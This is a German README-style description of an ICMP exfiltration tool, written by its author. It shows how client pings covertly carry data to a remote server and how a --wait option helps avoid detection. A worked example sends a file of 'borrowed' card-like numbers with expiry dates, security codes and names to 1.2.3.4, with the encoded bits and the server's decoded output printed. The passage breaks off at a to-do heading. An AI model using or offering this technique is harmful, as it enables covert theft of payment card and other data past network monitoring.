
Daten mit ICMP exfiltrieren
ICMP Exfil ermöglicht es Ihnen, Daten über gültige ICMP-Pakete zu übertragen. Sie verwenden das Client-Skript, um die Daten, die Sie exfiltrieren möchten, zu übergeben, und auf dem Gerät, an das Sie übertragen, führen Sie den Server aus. Jeder, der zusieht – Mensch oder Sicherheitssystem – wird nur gültige ICMP-Pakete sehen, die Struktur der Pakete ist nichts Böswilliges. Ihre Daten sind auch nicht innerhalb der ICMP-Pakete versteckt, daher sagt ein Blick auf das Paket nicht, was exfiltriert wurde.

Martino Jones, martinojones.com.
Derzeit unterstütze ich nur ASCII-Zeichen. Sie können alles exfiltrieren, das in ASCII-Zeichen dargestellt werden kann (z.B. Buchstaben und Zahlen). Beispiel: Sie haben einige coole 16-stellige Zahlen ausgeliehen, dann würden Sie das Client-Skript verwenden, um diese Zahlen an Ihren Server zu übergeben, indem Sie ./ping.py --ascii "4111111111111111" ausführen.
Sie haben zwei Möglichkeiten, den Zielserver festzulegen. Sie können entweder --ip verwenden oder die Standard-IP im Skript namens ipToPing setzen.
Wenn Sie etwas geduldiger sein möchten und es für andere schwieriger machen möchten, zu bemerken, dass Sie Daten exfiltrieren, können Sie --wait verwenden, um die Mindestzeit + die Zeit anzugeben, die für die Datenübertragung vergehen soll. Daran wird noch gearbeitet... daher müssen Sie diese Umrechnung selbst vornehmen, aber es sollte nicht lange dauern, bis ich sie hinzufüge... es ist auch nicht so wichtig, da die meisten Menschen und Sicherheitssysteme dies noch nicht einmal erkennen.
Wenn Sie die ausgehenden Pings sehen möchten, können Sie --show verwenden.
Wenn Sie den Server starten möchten, führen Sie einfach sudo python3 server.py aus. Sie müssen nichts weiter tun. Wenn Sie fertig sind, drücken Sie Strg+C. Der Server muss noch verbessert werden: Er muss die Eingaben basierend darauf zuordnen, von wem die Daten empfangen wurden. Bisher habe ich ihn nur mit einem Client getestet, der den Server anpingt. Dies muss natürlich angepasst werden. Die Grundlagen sind bereits vorhanden, nur der Rest muss noch zusammengestellt werden.
Ich habe eine Datenbank mit diesen coolen 16-stelligen Zahlen gefunden. Ich muss sie für weitere Forschungen speichern, also speichere ich sie in einer Datei namens file:
Befehl:./ping.py --ip 1.2.3.4 --asciiFile file
Dateiinhalt: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
Kodierte Daten: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
Server:
Calculating offsets
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
Wenn Sie helfen möchten, gibt es eine Reihe von Dingen, die ich noch hinzufügen muss: